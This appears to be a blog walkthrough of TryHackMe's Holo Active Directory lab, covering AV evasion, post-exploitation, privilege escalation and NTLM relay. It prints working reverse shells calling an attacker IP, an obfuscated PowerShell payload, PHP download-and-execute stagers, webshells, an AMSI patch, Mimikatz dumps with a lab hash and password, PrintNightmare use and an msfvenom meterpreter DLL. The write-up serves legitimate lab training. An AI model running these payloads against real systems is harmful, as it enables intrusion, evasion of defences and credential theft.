set scriptblock "$client = New-Object System.Net.Sockets.TCPClient("10.50.138.47",8008);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Then run this through strings:
STRING\1 STRING\2 STRING\3
The script has now been concatenated, reordered and reversed. Our output string is:
(-jOIn [REGEx]::mATChEs(")'X'+]31[DIlLeHS$+]1[dILlEHS$ (&| )63]RahC[,'v3m' EcalPeR- 421]RahC[,)25]RahC[+211]RahC[+15]RahC[( EcalPeR-93]RahC[,'lco'EcalPeR- 43]RahC[,'uvR'EcALPeRC- )')lcoXlco+]31[diLlehsv3m+]1[DIlleHSv3m (. 4p3 )421]Rahc[,lconDqlcoecAlPER- 63]Rah'+'c[,)75]Rahc[+79]Rahc[+96]Rahc[('+' ECALPERc- 93]Rahc[,)8'+'8]Rahc[+811]Rahc[+17]Rahc[( ecAlPER- ))'+'lcovG+XvGdnesUZx;) gnirtS-tXlco,lco)XvGXvGNIoj-XvGxXvG+]3,1[)EcNeREFeRpesoBrev9aE]gNiRts[( ( .nDq )421]rAHc[,)311]rAHc[+27]rAHc['+'+lco,lco+XvG(tneilCPCXvG+XvGT.stekcoS.teXvG+lc'+'o,lco 43]rAHc[,)98]rAHc[+48]rAlco,lco+Xv'+'Grtslco,lco+XvG..0 = '+'XvG+XvGset'+'lc'+'o,lcoXvGN'+'XvG+XvG.mXvG+XvGetXvG+XvGlco,lcoG.)IICSXvG+XvGA::]gnidocne.txetXvG+XvG[XvG+XvG( = elco,lcoybdnesUZx;Xlco,lcoER- 63]rAHc[,XvGUZxXvG eCaLPER-lco,lcoXvG+XvGb[;)XvG+XvG(lco,lcosySXvG+XvG tcejbO-wXvG+XvGeN = tneiXvG+XvG'+'lcUZxXvG((lco,lc'+'otlco,lcoXvG+XvGmaertStXvG+XvGeG.'+'tneilcUZXvG+XvGx = mXvG+XvGaertsUZxXvG+XvG;)8008XvG+XvG,YXvG+XvGTXvG+XvGP74XvG+XvG.831.'+'05XvG+XvG.01YTPXvGlco,lco75]rAHc[lco,lcoe'+'lihw;}0{XvG+XvG%qXvG+XvGH953556XvGlco,lcobUZxXvG+XvG ,XvG+XvG0 ,seXvG+XvGtybUZx(daXvG+XvGlco,lcov'+'G+XvGYXvG+XvGTPXvG+XvG'+' >YTP XvG+XvG'+'+ htaPXvG+XvG.)dXvG+XvGwXvG+XvGp(lco,lco+XvGZx(XvG+XvGgXvG+XvGnirtSXvG+XvGteG.)gniXvG+XvGdocnXvG+XvGEIXvG+XvGICSA.tX'+'vG+XvGxeT.mXvG+XvGetsyS emaNepyT- tX'+'v'+'G+XvGcejXvG+XvGbO-weN( = XvG+XvGatadUZx;{)0 enXvG+XvG- XvG+XvG))htgneL.setylco,lcoeR.maertsUXvG+XvGZx = iUZx((XvG+Xv'+'Glco,lco( eCaLPlco,lcoHc[+08]rAHc[( ECalPerc-)XvG)(XvG+XvGesolXvG'+'+XvGC.tneilcUZx;'+'lco,lcovG+XvGsUZxXvG'+'+XvG;)'+'iUXvG+XvGZx XvG+XvG,0,XvG+XvGsetybUXvGlco,lcocabdnesUZx(XvG+XvGsetyBtelco,lco})(XvG+XvGhXvG+XvGsulF.mXvG+XvGaertsUZx;)htXvG+XvGgneL.etybdnesUZx,0,XvG+XvGety'+'bdn'+'esUZx(etXvG+XvGirW.XvG+XvGmaXvG+XvGeXvGlco,lcovG+XvGuOXvG+XvG qH9 1&>2 atadUZX'+'vG+XvGx xei( = kXv'+'G+XvGc'+'aXvG+XvGbdneXlco,lcoUXvG+XvGZxXvG+XvG;)2kXvG+XvGlco,lcoybUZx]][eXvG+XvGtylco,lco XvG+XvG+ YXvG+XvGTXvG+XvGP SXvG+XvGPYT'+'P + XvG+XvGkcaXvG+X'+'vGbdnesXvG+XvGUZxXvG+XvG = 2kcabXlcof-uvR}72{}41{}8{}91{}52{}7{}4{}42{}2{}5{}12'+'{}61{}02{}11'+'{}0{}'+'82{}3{}6{}01{}21{}9{}31{}32{}1{}81{}51{}62{}22{}7'+'1{uvR((( '(( ",'.', 'RIGHtTolefT') )| &( ([STRING]$vErbOSEPrefEREnce)[1,3]+'x'-JoIn'')
That sure is quite something! Let’s stick with that for now, and hope it works later on.
Task 34 – AV Evasion – ‘Ca’ + ‘n’ + ‘you’ + ‘ ‘ + ‘see’ + ‘me now’ + ‘?’
Now that we have our potential working exploit, we need to run it against a program called ThreatCheck to see if Defender will pick it up, this could be a great check to go undetected on real life engagements.
Download the program from Rastamouse’s GitHub. This includes the .SLN file that we can use to build the program in Visual Studio. To do this:
-
- Open Visual Studio
- Open a project or solution
- Select the .SLN file in the ThreatCheck folder
- Once the program has opened, click build -> Build Program.
A success message should appear in the output, with the location of the new .exe. We can then run the program with:
.\ThreatCheck.exe -h
This provides a help, explaining what we need to do. For our case, we want to anaylse a file, so we use:
.\ThreatCheck.exe -f C:\Users\User\Documents\Holo\PS-1liner.txt
This runs through and brilliant. No threats found!
As a check, if we run through the original PowerShell 1 liner through the program, we also get no threats found. So either that was a waste of time, or ThreatCheck isn’t working properly.
Either way, let us move on.
Task 35 – AV Evasion – Wrapping the burrito
Finally, time to try and exploit this web-app. Remember way back in Task 29 we found the /images/ directory so we can run PHP code, that isn’t malicious. Well let’s give that a go.
The task description provides the PHP code we can use for this, let’s take a look:
<?php function get_stager() { $init = "powershell.exe"; $payload = "Invoke-WebRequest 127.0.0.1:8000/shell.exe -outfile notashell.exe"; // Insert PowerShell payload here $execution_command = "shell_exec"; $query = $execution_command("$init $payload"); echo $query; // Execute query } function execute_stager() { $init = "powershell.exe"; $payload = ".\notashell.exe"; // Insert PowerShell payload here $execution_command = "shell_exec"; $query = $execution_command("$init $payload"); echo $query; // Execute query } get_stager(); execute_stager(); die(); ?>
Basically, this PHP script is split into 3 sections:
-
- Get_Stager
- Execute_Stager
- End
The first part gets our Obfuscated PowerShell script from a webserver that we host. Then PowerShell is called to execute the downloaded script. This isn’t great, as ideally we would do all of this in memory, as there is more risk when things touch the disk. Then the PHP script dies to free up the webserver.
Changing the IP addresses and filenames we get:
<?php function get_stager() { $init = "powershell.exe"; $payload = "Invoke-WebRequest 10.50.138.47:8000/launcher.ps1 -outfile yekki.ps1"; // Insert PowerShell payload here $execution_command = "shell_exec"; $query = $execution_command("$init $payload"); echo $query; // Execute query } function execute_stager() { $init = "powershell.exe"; $payload = ".\yekki.ps1"; // Insert PowerShell payload here $execution_command = "shell_exec"; $query = $execution_command("$init $payload"); echo $query; // Execute query } get_stager(); execute_stager(); die(); ?>
Save that and upload it to the webpage.
Start a nc listener to catch our reverse PowerShell connection, this was set to port 8008 in the script.
sudo nc -nvlp 8008
Then setup a webserver to host the script.
python3 -m http.server 8000
Upload the script and we get a hit on our webserver, however nothing happens after that.
Originally, we needed to do things over Port 53, let’s try that. Re-create our PowerShell 1 liner, and this time I’ll try it without all the obfuscation and see if it works.
$client = New-Object System.Net.Sockets.TCPClient("10.50.138.47",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Put that in as launcher.ps1 and re-run the PHP script.
Again, we get a hit on the webserver, but nothing comes back.
Note: Later I discovered that my listener was not setup correctly in Covenant, if I had this correct and used the obfuscated PowerShell launcher this may have worked.
The example within the task is with an executable, so loading up Covenant, let’s create an .exe launcher and see if that works.
-
- Listeners
- Binary
- Select your Listener
- Generate
- Download
Now host that on your webserver, tweak the PHP and re-upload it. Again, the webserver gets the hit, but the executable doesn’t appear to run. The problem we are facing here, is we have no idea what is happening once our executable is being taken. Is it being removed by EDR? Is it just not working? We need some more information, so let’s try to get a basic PHP webshell, so we can do a dir after download to see if the file gets removed. In addition, we also haven’t run any unhooking AMSI code, which may be causing us a problem, again we should be able to do this via the webshell.
A quick search on kali finds a PHP webshell
locate webshell cat /usr/share/webshells/php/simple-backdoor.php <!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd <!-- http://michaeldaw.org 2006 -->
Copying that script and removing the comments to have just the PHP and upload it to the server. Unfortunately this almost immediately gets removed by the anti-virus on the machine.
After a while more of playing, I got super frustrated and looked at one of the few walkthroughs available. Marmeus has done a walkthrough and they used the following webshell which didn’t get caught.
<html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html>
Not sure why that didn’t get caught when mine did, but either way. Now, we can run commands, so let’s see what is in the folder we are in.
dir /a Volume in drive C has no label. Volume Serial Number is 3A33-D07B Directory of C:\web\htdocs\images 01/31/2022 03:29 PM . 01/31/2022 03:29 PM .. 01/26/2022 09:00 PM 36 hello.php 01/26/2022 09:02 PM 5,995 index.jpeg 01/26/2022 11:38 PM 607 php.php 01/27/2022 06:36 PM 604 php2.php 01/27/2022 06:19 PM 629 yekki.php 01/27/2022 06:24 PM 500 Yekki.ps1 01/31/2022 03:29 PM 301 yekki2.php 7 File(s) 8,672 bytes 2 Dir(s) 14,431,719,424 bytes free
As I can upload any files, and technically run them, let’s attempt to upload the Covenant grunt via the web-GUI and then run it via our command line access. Uploading the .exe is a success and it appears to remain in the images folder. Running that via command line:
.\Yekki.exe
We should expect to see a return to our Covenant server, however we don’t appear to get anything back.
As this isn’t working, let’s just use our access level to add a user and we can do everything through RDP as it will be much easier and we can troubleshoot from on the box as that where we went wrong. A quick whoami shows that we are “system” so we have the permissions to do this.
net user /add Yekki password net localgroup administrators Yekki /add net localgroup remotedesktopusers Yekki /add
These all completed successfully. Let’s try the access. First with crackmapexec.
crackmapexec smb 10.200.141.31 -u Yekki -p password --local-auth
This shows a +, not the pwned message I was expecting though, meaning that our user can’t login via SMB.
Lets hop to RDP,
remmina
Adding in the login details:
Username: Yekki Password: password Domain: .
The dot of the domain, means that we want to do local login, not use a central domain.
Heading over to the C:\web\htdocs\images folder we can see that our executable has again been deleted from the anti-virus.
Let’s now try to unhook AMSI and get our beacon back.
Opening up PowerShell ISE we first add in our accelerator:
[PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::Add('Yekki', [system.runtime.interopservices.marshal])
Now copy the working obfuscated script from Task 32.
$Virtual = 'Virt' + 'ualPro' + 'tect' + '($Buff' + 'erAddre' + 'ss, $Siz' + 'e, $Protec' + 'tFlag, [Ref]$Old' + 'ProtectFlag);' $MethodDefinition = " [DllImport(`"kernel32`")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::$Virtual $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [Yekki]::copy($buf, 0, $BufferAddress, 6);
Running this caused ISE to close, and I’m not sure if that’s good or not. Instead I’m just going to turn defender off in the settings:
-
- Settings
- Windows Defender
- Virus & Threat Protection Settings
- Turn off Real-time protection.
As we are an admin user, we can do this without issue. Now let’s upload and fire off our Covenant executable to see if it was defender that was the issue, or if our payload doesn’t work. The executable doesn’t work, let’s attempt to recreate that and get a beacon back. Interestingly, the PowerShell beacon payload, returned an error:
PS C:\web\htdocs\images> .\Yekki.ps1 New-Object : Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine actively refused it 10.50.138.47:53"
This shows that my Covenant isn’t set to properly to listen on 53, so it can’t connect. I reset up the listener with both the connect and bind ports set to 53, and created a new launcher using this new listener profile.
Copying that directly into a PowerShell terminal and running it works! And the grunt returns! Make sure you have run PowerShell as an Administrator, otherwise you’ll get in all sorts of headaches! This will be clear by the “Integrity” column showing as High to indicate Admin user. (Unlike below, where I only had medium integrity)
With both these accesses, via RDP and the grunt I can head over the Administrators desktop and grab the flag, which is enough for this task!
This task was hard. This took me days and the lack of information back was a real issue. I didn’t manage to bypass AMSI and do all that, but I didn’t need to, as I could get a webshell and add a user. Although this is noisier, it’s far easier!
Task 36 – Post Exploitation – That’s not a cat that’s a dawg
I’m going to try and do the rest of this through the C2 Grunt as the THM guide states, as this is for learning purposes.
Now that we have access, we want to dump the hashes. You may ask why, as we have access. This is because any administrator passwords may be re-used around the network so will aid us with lateral movement and potentially domain compromise.
We are going to use Mimikatz to do this via the grunt we have.
The THM guide talks about uploading and using Mimikatz which can be done as follows:
Mimikatz is built into Kali, we find it by
locate mimikatz
Copy the executable into your working directory
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .
Then we upload this via our grunt. To do this, in your Grunt go to:
-
- Task
- Select Upload from the drop down
- Chose a path to save the file to
- Select the file
- Click Task
Once complete, our file is on the server.
However, there is a task called Mimikatz which can be run.
-
- Task
- Mimikatz
Then we enter the commands we want to use, firstly as always we need to set our privilege:
privilege::debug
Then we need to escalate our privileges to be able to run the commands:
token::elevate
Then we can dump the SAM file:
lsadump::sam
Or gain the logged on users passwords:
sekurlsa::logonPasswords
We can combine these into a one-liner to do in order
"privilege::debug" "token::elevate" "lsadump::sam" "sekurlsa::logonPasswords"
This command runs and we get some output, which includes hashes. However the logonPasswords appears to error with:
ERROR kuhl_m_sekurlsa_acquireLSA ; Key import
Doing some research I found that 0xdf found the same issue. It’s to do with the version of Mimikatz. For some reason the Upload task in Convenant didn’t work, so I used a python webserver and downloaded the file.
sudo python3 -m http.server 80
Then on the PowerShell command Task I ran:
Invoke-WebRequest -Uri http://10.50.138.47/mimikatz.exe -OutFile "C:\Users\Yekki\Documents\mimikatz.exe"
Once that completes, I then had to run the Mimikatz command as a PowerShell command through the tasks again:
C:\Users\Yekki\Documents\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit
This then outputs the plain text password for the watamet user.
I then also ran:
lsadump::sam
This dumped out the hash of the Administrator that we could potentially use around the network in a pass the hash attack.
User : Administrator Hash NTLM: 4c529921152aab85192532e2c8771a92
With that information, we have enough for this task!
Task 37 – Post Exploitation – Good Intentions, Courtesy of Microsoft: Part II
This task is all about pass the hash, with 2 tools, crackmapexec and winRM. We aren’t told which user hash to try, so let’s try the Administrator hash we luckily got in the last task.
Starting with crackmapexec, we can scan the boxes we know of from our nmap way back in the earlier task. I can’t remember the IPs, so I’ll just scan the entire range.
sudo crackmapexec smb 10.200.141.0/24 -u Administrator -d . -H 4c529921152aab85192532e2c8771a92
We only get a hit on S-SRV01 which was the host we were already logged into. This means that they haven’t re-used the same password around the network.
Maybe I should be using the watamet user. Except I don’t need to use the hash, I can use the password. Also it’s important to note that this is a domain user, so we don’t need to add in the “-d .” for this attempt.
sudo crackmapexec smb 10.200.141.0/24 -u 'watamet' -p 'Nothingtoworry!'
This shows that we can login to PC-FILESRV01, DC-SRV01 and S-SRV01.
Let’s focus on the fileshare, we should be able to connect to the machine using smbclient.
smbclient -L \\10.200.141.35 -W holo.live -U watamet
This shows a few folders:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Pictures Disk Users Disk Videos Disk
Let’s take a look at Users
smbclient \\\\10.200.141.35\\Users -W holo.live -U watamet
Looking around, we find a user.txt in the Desktop. Download that via:
cd watamet\Desktop get user.txt
That’s that flag found. However, the task spoke about evil-winrm so let’s have a look at that too. If you need to install it use:
sudo gem install evil-winrm
I then couldn’t get evil-winrm to work without returning a Authorization Failure when using the password. I was attempting:
evil-winrm -i 10.200.141.35 -u 'holo.live\watamet' -p 'Nothingtoworry!'
I had similar results with trying to pass the hash. Not sure what happened there. (Feel free to leave a comment if you work it out!)
It also turns out that Watamet has RDP access to the server, so that may be easier.
Either smbclient or RDP allow you to grab the flag and submit that. Completing this task.
Task 38 – Post Exploitation – Watson left her locker open
This task looks at bypassing AppLocker. Unfortunately when hopping on the box, it turns out someone has already disabled it, so I’ve got a bit of an easy ride here, as I can access PowerShell and CMD.
As AppLocker should be set, restrictions on apps should be made, however, I have full access to PowerShell, so I can copy in the AppLocker script to just see what it does:
# AppLocker Bypass Checker (Default Rules) v2.0 # # One of the Default Rules in AppLocker allows everything in the folder C:\Windows to be executed. # A normal user shouln't have write permission in that folder, but that is not always the case. # This script lists default ACL for the "BUILTIN\users" group looking for write/createFiles & execute authorizations # # @Author: Sparc Flow in "How to Hack a Fashion Brand" # # NOTE: change the group and root_folder variables to suit your needs $group = "*Users*" $root_folder = "C:\windows" write-output "[*] Processing folders recursively in $root_folder" foreach($_ in (Get-ChildItem $root_folder -recurse -ErrorAction SilentlyContinue)){ if($_.PSIsContainer) { try{ $res = Get-acl $_.FullName } catch{ continue } foreach ($a in $res.access){ if ($a.IdentityReference -like $group){ if ( ($a.FileSystemRights -like "*Write*" -or $a.FileSystemRights -like "*CreateFiles*" ) -and $a.FileSystemRights -like "*ReadAndExecute*" ){ write-host "[+] " $_.FullName -foregroundcolor "green" } } } } }
This ran through and provided a list of locations that AppLocker does not apply too.
[+] C:\windows\Tasks [+] C:\windows\tracing [+] C:\windows\System32\spool\drivers\color [+] C:\windows\tracing\ProcessMonitor
Task 39 – Situational Awareness – So it’s just fancy malware?
We are now onto looking at priv esc, some simple checks shows that watamet isn’t an Admin and therefore we need to find a priv esc route.
First up to run is Seatbelt which should give an overview of the system. Download this from GitHub and build it in visual studio code. Once done, transfer it over to the box, I used another python webserver and the browser!
When I tried to run it, it was blocked by group policy. This is the AppLocker issue from the previous task, so maybe I didn’t get an easy ride after all.
Luckily we have the list of AppLocker bypass locations, so let’s copy it to C:\windows\Tasks
Now the application runs.
We can run a basic check with:
.\seatbelt -group=system
This returns all the useful information about the system itself, as that is what we are attacking.
We can see that there is AMSI on this box, provided by Defender, however the AntiVirus says there isn’t one, but we know Defender is there.
The IP addresses and autoruns could be useful under different circumstances, but there is a wealth of information easily accessible to help move around a network.
Further down, it informs us that:
Anti-Malware Scan Interface (AMSI) OS Supports AMSI: True [!] You can do a PowerShell version downgrade to bypass AMSI.
This is potentially useful to note.
We could also have a look at SharpEDR checker, but it doesn’t add much that we need to know for this task.
Task 40 – Situational Awareness – SEATBELT CHECK!
This task looks through the Seatbelt output. The important part for the questions is the PowerShell section which we noted above:
====== PowerShell ====== Installed CLR Versions 4.0.30319 Installed PowerShell Versions 2.0 [!] Version 2.0.50727 of the CLR is not installed - PowerShell v2.0 won't be able to run. 5.1.17763.1 Transcription Logging Settings Enabled : False Invocation Logging : False Log Directory : Module Logging Settings Enabled : False Logged Module Names : Script Block Logging Settings Enabled : False Invocation Logging : False Anti-Malware Scan Interface (AMSI) OS Supports AMSI: True [!] You can do a PowerShell version downgrade to bypass AMSI.
This answers the first two questions. Then for the last we need to head up to the OSInfo Section:
====== OSInfo ====== Hostname : PC-FILESRV01 Domain Name : holo.live Username : HOLOLIVE\watamet ProductName : Windows Server 2019 Datacenter EditionID : ServerDatacenter ReleaseId : 1809 Build : 17763.1577 BuildBranch : rs5_release CurrentMajorVersionNumber : 10 CurrentVersion : 6.3 Architecture : AMD64 ProcessorCount : 1 IsVirtualMachine : True BootTimeUtc (approx) : 1/31/2022 8:37:50 PM (Total uptime: 00:00:12:19) HighIntegrity : False IsLocalAdmin : False CurrentTimeUtc : 1/31/2022 8:50:10 PM (Local time: 1/31/2022 8:50:10 PM) TimeZone : Coordinated Universal Time TimeZoneOffset : 00:00:00 InputLanguage : United Kingdom InstalledInputLanguages : US, United Kingdom MachineGuid : 90deb672-af9b-4e3e-b275-6e5f35440d1e
This completes this section.
Task 41 – Situational Awareness – ALL THE POWER!
This task looks at PowerView. This is a PowerShell script that can be found on GitHub. This will provide all sorts of information regarding the users of the system, incluidng permissions, groups, lockout policies etc.
To run it, we need to import the module:
Import-Module .\PowerView.ps1
Once done, we can run commands, finding out all domain users is a useful start:
Get-DomainUser
This will list all users on the Domain. We can also find out group members, such as domain admins:
Get-DomainGroup "Domain Admins"
This returns the group info and members, we now have our DA targets:
-
- Shirikami Fubuki
- Inugami Korone
Finding out logged on users can be helpful:
Get-NetLoggedon
Further Domain exploration is available, such as is there a trust and what are the GPOs.
Get-DomainTrust Get-DomainGPO
It’s worth looking through all the available commands to see what you may find useful.
The local groups are also interesting, to list all groups:
Get-NetLocalGroup
Then to query a specific group:
Get-NetLocalGroupMember -Group Administrators
This again gives us more targets to go after.
Once you are confident with the commands, that is enough for this section.
Task 42 – Situational Awareness – Import-Module PowerUpGreySkull.ps1
PowerShell in itself is a very powerful tool, it can provide a large amount of information if you know what to look for. Sysadmins use it constantly to query everything, all the cool scripts and tools are just wrappers for PowerShell to save us remembering 1000 different commands.
This task looks at the power of PowerShell with some useful areas. Working through the task we look at:
-
- Scheduled Tasks
- User privileges (through whoami)
- Active Directory Groups
It’s worth going through these steps to fully understand what PowerShell can tell you, however it’s likely a lot of these would be flagged in a real environment by the SOC!
Task 43 – Privilege Escalation – WERE TAKING OVER THIS DLL!
After all that enumeration of the system and the users, it’s time to try and escalate our privileges. For this we are going to look at DLL hijacking. I have written a blog on this that can be found here. This goes through and explains what DLL hijacking is and how it works. Due to this, I’m not going to re-write it, but in simple terms:
When opening a program, it looks for libraries that it uses (DLLs). There is a search order for these DLLs:
-
- The directory which the application loaded (D:\Origin\test.dll)
- The system directory (I think that’s C:\Windows\System32\test.dll – but not 100%)
- The 16-bit system directory (I think that’s C:\Windows\System\test.dll)
- The Windows directory (I think that’s either C:\Windows\System32\test.dll or C:\Windows\SysWOW64\test.dll – but not 100%)
- The current directory (I guess where ever the shortcut is? Maybe C:\Users\Phil\Desktop\test.dll)
- The directories that are listed in the PATH environment variable
Once the DLL is found, it is loaded. If a program can’t find a DLL, a malicious DLL can be placed into one of the above folders and it will run when the program starts.
Now that we have a basic understanding, let’s get ProcMon onto the server and run through this. I downloaded it from here and used a python webserver to upload it.
Once onto the machine, remember to put it in C:\Windows\Tasks to bypass AppLocker. However, it needs to be run from a privileged account, so we can’t run this yet!
Looking around the system, there is a bespoke binary in C:\Users\watamet\Applications called “kavremover”. This apparently should have a scheduled task associated with it, which would be found by our enumeration phase when running:
Get-ScheduledTask -TaskPath "\Users\*"
However, this machine doesn’t have that scheduled task, so not sure how this is going to work. Let’s create a new DLL anyway and try to get a call-back.
Using Covenant we can create a malicious DLL:
-
- Launchers
- InstallUtil
- Set the Listener
- Generate
- Download
Move this across to the folder and re-name it to either:
-
- kavremoverENU.dll
- kavremoverITA.dll
Once that is in the folder, run the main binary. Which has unfortunately been blocked by AppLocker.
Move the executable and DLLs to C:\Windows\Tasks.
The application now doesn’t run, as we don’t have Administrative permissions. This is where it should be run by the Scheduled Task, I assume by an Administrative user.
I attempted to set up a scheduled task, however this wouldn’t run the program, changing to scheduled task to the binary in C:\Windows\Tasks, I get the same Administrative user error, meaning that the original is still being blocked by AppLocker.
As we can’t do the intended route. There are other exploits we can use to gain higher level access, thanks to the guys in the TryHackMe Discord for these hints (Cart00n, Biolife & bmdyy)!
In 2021 an exploit called PrintNightmare made the news, this was a local privilege escalation exploit which Microsoft deemed so serious they patched outside of their usual patch Tuesday, the legendary 0xdf has written a great blog on it.
To check if a system is likely to be vulnerable we can do two things:
Open the services.msc and check if the “Print Spooler” service is running.
Check the updates on the system, this can be done via PowerShell:
wmic qfe list
The results show the last update on this system was done on 11/11/2020 which means it is likely to be vulnerable!
The exploit runs through a PowerShell script and allows commands to be run, including the addition of new users, these users then get added to the Administrators group via a DLL.
git clone https://github.com/calebstewart/CVE-2021-1675
Move the PS1 file to the server, for this I used a python webserver and browser.
sudo python3 -m http.server 8000
Once on the machine, we run the script through a PowerShell window:
Import-Module .\CVE-2021-1675.ps1
If asked to run scripts, select R for run once.
Now the module is installed, we can run the exploit.
Invoke-Nightmare -NewUser "Yekki" -NewPassword "Yekki1234!"
Success! We now have an admin user called Yekki. It’s useful to note that the password needs to be complex enough to pass the criteria, otherwise the user won’t be added!
We can confirm the user was added with:
net user Yekki
We can now connect into the machine with that user, this can be either via evil-winrm or RDP.
From here, we can go into the Administrators desktop and get the root flag for this box.
Task 44 – Persistence – WERE TAKING OVER THIS DLL! Part: II
This seems a bit pointless, now that we have persistence, however let’s anyway take a look at how procmon works and attempt to get a high level beacon or shell back via DLL hijacking.
ProcessMonitor is downloaded for you in the watamet Downloads folder. Extracting and opening that we can see all the processes running. This gives an amazing level of detail of what is happening on the system.
We can filter this down, to find the information we are interested in. We do this by going:
-
- Filter
- Filter
- Name – Contains – DLL
- Add
- Apply
- Result – Contains – FOUND
- Add Apply
This now provides a list of DLLs where the DLL was not found during the running of the application. Looking through there we can see there are loads of them! However our target program isn’t one of them!
If we run the Kavremover as an admin, we will see this appear in the list, with a large amount of Registry lookups. There are also a few QueryOpen operationg which is searching for a DLL.
This includes DLLs called:
-
- cscapi.dll
- kavremoverENU.dll
- kavremoverLOC.dll
- msi.dll
All of these are being searched for in the Applications directory and should work with our DLL hijacking.
My network reset before I got here, so remaking my DLL using msfvenom is:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.111.112 LPORT=53 -f dll -o kavremoverENU.dll
I move this across with my python webserver and start a listener.
use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST tun0 set LPORT 53
Running the program, we get our reverse shell as the user Yekki. This shows that if the scheduled task was present as I think it should have been, this DLL hijacking process would have worked.
The question for this task asks about the first DLL in the Windows directory, this can be seen in ProcMon as: wow64log.dll
That’s this section done, let’s move onto the final stage to really pwn this domain!
Task 45 – NTLM Relay – Never trust the LanMan
Windows Domains use NTLM as a password hash mechanism around the network to login and provide access, this works in a challenge/response capacity. Theses NTLM hashes can be used in a pass-the-hash attack which allows us to gain further access into the network.
The information within the task is good to give a fuller understanding of how this works, I highly recommend reading it.
Task 46 – NTLM Relay – Now you see me, now you don’t
During internal infrastructure tests it is very common to use the tool responder to gain a bunch of hashes. I’ve done a blog on how this tools works, which is available here. Therefore, I won’t go over it again now, and also it’s not actually needed for this lab.
NTLMrelayx however is a tool I’ve not used previously. The Impacket suite is awesome and I’ve used a whole bunch of the tools, but not this one, so let’s dive into what we are trying to achieve.
The way this works is by listening for credentials, or NTLM hashes and relaying them to another host. Therefore the challenge/response will be between the target box rather than the pwned box.
Before we get onto this, for this to work, the target host needs to have SMB signing disabled. The Microsoft docs describe this as:
“If someone changes a message during transmission, the hash won’t match, and SMB will know that someone tampered with the data. The signature also confirms the sender’s and receiver’s identities. This breaks relay attacks.”
Basically if you relay the challenge/response the hash doesn’t match and the verification check fails.
There are 2 hosts left on the network, we have:
-
- 10.200.114.30
- 10.200.114.32
We could run nmap against these, but as we are on a windows box with direct access, let’s first check if either have SMB open.
Navigating to \\10.200.114.32 in a Windows Explorer brings back the error message:
Windows cannot access \\10.200.114.32
Therefore, SMB isn’t enabled on this host. Trying the other host, we get access to an SMB share.
This must be our target. For the task challenges we need the hostname of this system. To get this, we can use ping -a which will resolve the hostname of an IP address. We could also use crackmapexec on our kali box, an nmap scan or loads of other methods.
C:\Users\Yekki>ping -a 10.200.114.30 Pinging DC-SRV01 [10.200.114.30] with 32 bytes of data: Reply from 10.200.114.30: bytes=32 time=1ms TTL=128 Reply from 10.200.114.30: bytes=32 time=1ms TTL=128 Reply from 10.200.114.30: bytes=32 time<1ms TTL=128 Reply from 10.200.114.30: bytes=32 time<1ms TTL=128 Ping statistics for 10.200.114.30: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 1ms, Average = 0ms
We now have the hostname: DC-SRV01.
Task 47 – NTLM Relay – Why not just turn it off?
This attack stops the SMB service and restarts it, this would be pretty bad in a live environment as mentioned in the task, this is quite possibly the reason I haven’t seen it done before.
Install the dependencies for this attack to work
apt install krb5-user cifs-utils
During the install I had questions about the Kerberos, I put in holo.live as the domain, and left all the other questions blank.
The next part is stopping the SMB service and rebooting the machine. This would be madness in a live environment.
On the FILESRV01 host, we can run the following commands to stop the SMB service. We need to run these in an elevated command prompt window.
sc stop netlogon sc stop lanmanserver sc config lanmanserver start= disabled sc stop lanmanworkstation sc config lanmanworkstation start= disabled
Now, reboot the machine
shutdown -r
Wait a few minutes for the box to come back up and re-RDP into it. While waiting, we can get our listener ready, we can again use our DLL hijacking to recieve a reverse shell.
msfconsole use multi/handler set LHOST tun0 set LPORT 53
We can also set up our ntlmrelay command:
